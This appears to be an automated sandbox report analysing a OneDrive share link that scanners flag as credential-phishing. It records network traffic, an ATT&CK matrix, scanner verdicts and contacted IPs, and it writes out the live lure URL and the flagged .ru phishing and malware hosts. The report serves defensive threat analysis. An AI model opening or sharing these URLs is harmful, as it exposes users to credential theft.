Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1245931995:1734466478:-p1_It_hKIHpRbOCdrRwqO_4R1-sQktAdqI4NttFp_A/8f39b5252dda42bf/9jHPLuuF7YbnPPKCNVSMpbZ7TtTWBv9at8zp30ysBZQ-1734467810-1.1.1.1-v.gtC.icrAtPWdbxeoDYe9PqedjIgBJld.Hcn3vBxW9NXbVjAJp8sOwEAYIadDaL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f39b5252dda42bf/1734467817034/0eeiRkdAFe9qwP7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/seouv/0x4AAAAAAA1mDBaSGFMJzcle/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8f39b5252dda42bf/1734467817034/0eeiRkdAFe9qwP7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8f39b5252dda42bf/1734467817036/17509a9b362f10b4e56bcc976d993553073e194f851796c8d374f7bbcb7b4d9d/Ee-uf5HaRVHavxV HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/seouv/0x4AAAAAAA1mDBaSGFMJzcle/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1245931995:1734466478:-p1_It_hKIHpRbOCdrRwqO_4R1-sQktAdqI4NttFp_A/8f39b5252dda42bf/9jHPLuuF7YbnPPKCNVSMpbZ7TtTWBv9at8zp30ysBZQ-1734467810-1.1.1.1-v.gtC.icrAtPWdbxeoDYe9PqedjIgBJld.Hcn3vBxW9NXbVjAJp8sOwEAYIadDaL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1245931995:1734466478:-p1_It_hKIHpRbOCdrRwqO_4R1-sQktAdqI4NttFp_A/8f39b5252dda42bf/9jHPLuuF7YbnPPKCNVSMpbZ7TtTWBv9at8zp30ysBZQ-1734467810-1.1.1.1-v.gtC.icrAtPWdbxeoDYe9PqedjIgBJld.Hcn3vBxW9NXbVjAJp8sOwEAYIadDaL HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /choqmnpnjiwpotfzqbXzTLDBQdlXDXJCVGMCWEVKGVHWSZRTWLDCYXMIYUFOVGKDVIOKEBBWGGQBNPKDXI HTTP/1.1Host: ivfqcze9jpywgexhiy1ev9zzqhigpjadjigpjmdm1kbev6ftctv6ybfkt5ej.lpliwptf.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://uoqp.foadinexer.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://uoqp.foadinexer.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /choqmnpnjiwpotfzqbXzTLDBQdlXDXJCVGMCWEVKGVHWSZRTWLDCYXMIYUFOVGKDVIOKEBBWGGQBNPKDXI HTTP/1.1Host: ivfqcze9jpywgexhiy1ev9zzqhigpjadjigpjmdm1kbev6ftctv6ybfkt5ej.lpliwptf.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: 1drv.ms
Source: global traffic	DNS traffic detected: DNS query: onedrive.live.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: common.online.office.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: js.live.net
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: uoqp.foadinexer.ru
Source: global traffic	DNS traffic detected: DNS query: messaging.engagement.office.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: storage.live.com
Source: global traffic	DNS traffic detected: DNS query: wordonline.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ivfqcze9jpywgexhiy1ev9zzqhigpjadjigpjmdm1kbev6ftctv6ybfkt5ej.lpliwptf.ru
Source: global traffic	DNS traffic detected: DNS query: word.office.com
Source: global traffic	DNS traffic detected: DNS query: www.microsoft365.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /suite/RemoteUls.ashx?usid=497469c3-ba91-75a0-fd3e-4a5b1cb2babd&officeserverversion= HTTP/1.1Host: common.online.office.comConnection: keep-aliveContent-Length: 626sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://onedrive.live.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://onedrive.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 20:36:53 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bVZ7YSjOcuuRjJsEZuJN%2FnuakHi%2FVkez%2Ftg4Ms81pSb7KbMm6UQ8kR8rAQb9DwLYJJkXiDFQOshJxLkTrsWnQt5%2BUYEmMLcab5rLkZSeE8n3AxDR%2BslwcCGytKtoFw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=4875&min_rtt=4873&rtt_var=1831&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2234&delivery_rate=582532&cwnd=250&unsent_bytes=0&cid=4fcd451a972bdb6a&ts=169&x=0"CF-Cache-Status: MISSServer: cloudflareCF-RAY: 8f39b535ec5f43af-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1594&rtt_var=677&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1900&delivery_rate=1527995&cwnd=230&unsent_bytes=0&cid=1f1f7cbf4d3b2be3&ts=9950&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 20:36:59 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: eXkzT1rZQmIcsGLbdacVS02+jMt/BAZZFcI=$WL7nq8+Vl9xnBJhqServer: cloudflareCF-RAY: 8f39b55f7b218c2f-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 20:37:06 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 5Mdf0aZUtFiUEl7seCF3hS+TfnLPDD6l+iE=$3Kiz5JOH37NSPmEhcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f39b5886e93439d-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 17 Dec 2024 20:37:19 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 1dR9JHXegU8BnLbyCvGE5TsuGQRmoltzJsw=$pA6iWhk6M8+uwDO0Server: cloudflareCF-RAY: 8f39b5db9eb87285-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_323.1.dr, chromecache_268.1.dr, chromecache_344.1.dr, chromecache_310.1.dr	String found in binary or memory: http://fb.me/use-check-prop-types
Source: chromecache_376.1.dr, chromecache_213.1.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_205.1.dr, chromecache_262.1.dr	String found in binary or memory: http://projects.nikhilk.net
Source: chromecache_344.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_376.1.dr, chromecache_213.1.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_245.1.dr, chromecache_263.1.dr	String found in binary or memory: https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.3.min.js
Source: chromecache_245.1.dr	String found in binary or memory: https://augloop.office.com/v2;394866fc-eedb-4f01-8536-3ff84b16be2a;liveprofilecard.access;https://gr
Source: chromecache_281.1.dr, chromecache_231.1.dr, chromecache_193.1.dr, chromecache_218.1.dr	String found in binary or memory: https://feross.org
Source: chromecache_281.1.dr, chromecache_218.1.dr	String found in binary or memory: https://feross.org/opensource
Source: chromecache_376.1.dr, chromecache_213.1.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_281.1.dr, chromecache_218.1.dr	String found in binary or memory: https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map
Source: chromecache_228.1.dr, chromecache_189.1.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_228.1.dr, chromecache_189.1.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_232.1.dr, chromecache_301.1.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: chromecache_280.1.dr, chromecache_203.1.dr	String found in binary or memory: https://pf.events.data.cloudapp.onecollector.akadns.net/OneCollector/1.0/
Source: chromecache_310.1.dr	String found in binary or memory: https://reactjs.org/link/react-polyfills
Source: chromecache_204.1.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.12.9.1/
Source: chromecache_204.1.dr	String found in binary or memory: https://res.cdn.office.net/admincenter/admin-main/2024.12.9.1/floodgate.en.bundle.js
Source: chromecache_280.1.dr, chromecache_203.1.dr	String found in binary or memory: https://tb.events.data.cloudapp.onecollector.akadns.net/OneCollector/1.0/
Source: chromecache_212.1.dr	String found in binary or memory: https://uoqp.foadinexer.ru/Kkw5r3/
Source: chromecache_245.1.dr, chromecache_263.1.dr	String found in binary or memory: https://wise-m-backup.public.onecdn.static.microsoft/wise/owl/sharedauthclientmsal.9847058d46a5c575b
Source: chromecache_245.1.dr, chromecache_263.1.dr	String found in binary or memory: https://wise.public.cdn.office.net/wise/owl/sharedauthclientmsal.9847058d46a5c575b680.js
Source: chromecache_254.1.dr, chromecache_183.1.dr	String found in binary or memory: https://word-telemetry.officeapps.live.com/wt/RemoteUls.ashx
Source: chromecache_245.1.dr	String found in binary or memory: https://word-view.officeapps.live.com
Source: chromecache_280.1.dr, chromecache_203.1.dr	String found in binary or memory: https://www.office.com/launch

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1880 --field-trial-handle=1964,i,14066540551859263657,123845628713163219,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1880 --field-trial-handle=1964,i,14066540551859263657,123845628713163219,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: chromecache_281.1.dr, chromecache_370.1.dr, chromecache_347.1.dr, chromecache_250.1.dr, chromecache_218.1.dr, chromecache_337.1.dr	Binary or memory string: ",ConnectVirtualMachine:"
Source: chromecache_281.1.dr, chromecache_370.1.dr, chromecache_347.1.dr, chromecache_250.1.dr, chromecache_218.1.dr, chromecache_337.1.dr	Binary or memory string: ",DisconnectVirtualMachine:"

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	0%	Avira URL Cloud	safe
https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://uoqp.foadinexer.ru/favicon.ico	0%	Avira URL Cloud	safe
https://wise-m-backup.public.onecdn.static.microsoft/wise/owl/sharedauthclientmsal.9847058d46a5c575b	0%	Avira URL Cloud	safe
https://ivfqcze9jpywgexhiy1ev9zzqhigpjadjigpjmdm1kbev6ftctv6ybfkt5ej.lpliwptf.ru/choqmnpnjiwpotfzqbXzTLDBQdlXDXJCVGMCWEVKGVHWSZRTWLDCYXMIYUFOVGKDVIOKEBBWGGQBNPKDXI	100%	Avira URL Cloud	malware

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.73.56	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.137.11	dual-spov-0006.spov-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.206.213	uoqp.foadinexer.ru	United States	13335	CLOUDFLARENETUS	true
172.67.158.68	ivfqcze9jpywgexhiy1ev9zzqhigpjadjigpjmdm1kbev6ftctv6ybfkt5ej.lpliwptf.ru	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
13.107.42.12	1drv.ms	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Name	Malicious	Antivirus Detection	Reputation
